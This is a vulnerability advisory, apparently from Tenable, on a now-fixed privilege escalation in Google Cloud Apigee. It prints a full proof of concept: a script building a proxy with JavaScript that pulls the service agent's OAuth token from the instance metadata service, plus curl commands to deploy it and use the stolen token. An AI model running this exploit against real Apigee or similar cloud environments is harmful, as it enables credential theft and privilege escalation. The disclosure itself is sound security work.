GCP Apigee PE to Service Agent with API Proxy

Low

Synopsis

 

Tenable Research has identified and responsibly disclosed a privilege escalation vulnerability in Google Cloud Apigee. This vulnerability allowed an attacker with restricted Apigee permissions to exfiltrate the OAuth access token of the privileged Apigee Core Service Agent.

The vulnerability stems from Apigee API Proxies' ability to execute custom JavaScript policy scripts that can access the underlying Instance Metadata Service (IMDS).

An attacker with basic proxy editor or environment admin roles (such as roles/apigee.editor or roles/apigee.environmentAdmin) could construct and deploy an API Proxy containing a malicious JavaScript resource. When triggered, the script queries the local IMDS (169.254.169.254) to fetch the default service account credentials running the runtime instance, specifically the Apigee Core Service Agent token.

By capturing this token, the attacker effectively escalates their privileges. The service agent possesses extensive, elevated permissions beyond typical proxy management, including full administrative access to API Hub resources, Cloud Trace, Cloud Logging, and Cloud Monitoring across the project.

 

Proof of Concept:

1. Create a malicious proxy bundle:

#!/bin/sh
mkdir -p exploit-bundle/apiproxy/proxies
mkdir -p exploit-bundle/apiproxy/policies
mkdir -p exploit-bundle/apiproxy/resources/js
cat > exploit-bundle/apiproxy/proxies/default.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ProxyEndpoint name="default">
   <PreFlow name="PreFlow">
       <Request>
           <Step>
               <Name>Script-Exploit</Name>
           </Step>
       </Request>
       <Response/>
   </PreFlow>
   <HTTPProxyConnection>
       <BasePath>/exploit</BasePath>
   </HTTPProxyConnection>
   <RouteRule name="noroute"/>
</ProxyEndpoint>
EOF
cat > exploit-bundle/apiproxy/policies/Script-Exploit.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Script name="Script-Exploit">
   <ResourceURL>js://exploit.js</ResourceURL>
</Script>
EOF
cat > exploit-bundle/apiproxy/resources/js/exploit.js << 'EOF'
var BufferedReader = java.io.BufferedReader;
var InputStreamReader = java.io.InputStreamReader;
function httpGet(urlStr, headers) {
   var url = new java.net.URL(urlStr);
   var conn = url.openConnection();
   conn.setConnectTimeout(5000);
   conn.setReadTimeout(5000);
   if (headers) {
       for (var k in headers) {
           conn.setRequestProperty(k, headers[k]);
       }
   }
   var reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
   var line, data = "";
   while ((line = reader.readLine()) != null) { data += line + "\n"; }
   reader.close();
   return data;
}
var results = [];
// 1. Get service account email
try {
   var email = httpGet(
       "<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email>",
       {"Metadata-Flavor": "Google"}
   );
   results.push("SA_EMAIL:" + email.trim());
} catch(e) { results.push("SA_EMAIL_ERR:" + e); }
// 2. Get access token
try {
   var token = httpGet(
       "<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token>",
       {"Metadata-Flavor": "Google"}
   );
   results.push("SA_TOKEN:" + token.trim());
} catch(e) { results.push("SA_TOKEN_ERR:" + e); }
// 3. Get scopes
try {
   var scopes = httpGet(
       "<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes>",
       {"Metadata-Flavor": "Google"}
   );
   results.push("SA_SCOPES:" + scopes.trim());
} catch(e) { results.push("SA_SCOPES_ERR:" + e); }
// 4. Get project ID
try {
   var project = httpGet(
       "<http://169.254.169.254/computeMetadata/v1/project/project-id>",
       {"Metadata-Flavor": "Google"}
   );
   results.push("PROJECT:" + project.trim());
} catch(e) { results.push("PROJECT_ERR:" + e); }
// 5. Get instance zone
try {
   var zone = httpGet(
       "<http://169.254.169.254/computeMetadata/v1/instance/zone>",
       {"Metadata-Flavor": "Google"}
   );
   results.push("ZONE:" + zone.trim());
} catch(e) { results.push("ZONE_ERR:" + e); }
throw new Error("RESULTS:" + results.join("   |||   "));
EOF
cat > exploit-bundle/apiproxy/${API_NAME}.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<APIProxy name="exploit-v001">
   <Description>Apigee PoC</Description>
   <CreatedAt>1700000000000</CreatedAt>
   <LastModifiedAt>1700000000000</LastModifiedAt>
</APIProxy>
EOF
cd exploit-bundle
zip -r ../exploit-v001.zip apiproxy/
cd ..

2. Upload and deploy the malicious bundle to Apigee (change variables based on your environment)

export TOKEN=$(gcloud auth print-access-token)
export APIGEE_API="<https://apigee.googleapis.com/v1>"
export API_NAME="exploit-v001"
export ORG="<VICTIM_APIGEE_ORG>"
export ENV="<VICTIM_ENV>"
export APIGEE_HOST="<VICTIM_APIGEE_HOST>"
export INSTANCE_IP="<VICTIM_INSTANCE_IP>" # Only needed if DNS isn't set up
curl -X POST \
 "${APIGEE_API}/organizations/${ORG}/apis?name=${API_NAME}&action=import" \
 -H "Authorization: Bearer ${TOKEN}" \
 -H "Content-Type: application/octet-stream" \
 --data-binary @exploit-v001.zip
 
curl -X POST \
 "${APIGEE_API}/organizations/${ORG}/environments/${ENV}/apis/${API_NAME}/revisions/1/deployments" \
 -H "Authorization: Bearer ${TOKEN}" \
 -H "Content-Type: application/json"

3. Wait for the proxy to deploy. You can check the UI or poll with:

curl -s "${APIGEE_API}/organizations/${ORG}/environments/${ENV}/apis/${API_NAME}/revisions/1/deployments" \
 -H "Authorization: Bearer ${TOKEN}"

4. Send a request to the malicious proxy, which will exfiltrate the Service Agent token

curl "<https://$>{APIGEE_HOST}/exploit"
# Or if DNS isn't set up
curl --resolve "${APIGEE_HOST}:443:${INSTANCE_IP}" "<https://$>{APIGEE_HOST}/exploit" --insecure

5. Verify that the token is valid and has escalated permissions

export TOKEN="<EXFILTRATED_TOKEN>"
curl -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -X GET "<https://apihub.googleapis.com/v1/projects/><VICTIM_PROJECT>/locations/<LOCATION>/plugins"

Solution

Google has fixed the issue.

Disclosure Timeline

May 12, 2026 - Tenable report the findings to Google, Google acknowledge receipt
May 18, 2026 - Google accept the issue
May 29, 2026 - Tenable requests an update
June 1, 2026 - Google updates that the panel is still reviewing the issue
June 4, 2026 - Google award a bounty
June 8, 2026 - Tenable thanks and requests updates for coordinated disclosure, Google acknowledge
June 23, 2026 - Tenable request a status update
July 6, 2026 - Tenable request a status update
July 9, 2026 - Google mark the issue as fixed

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]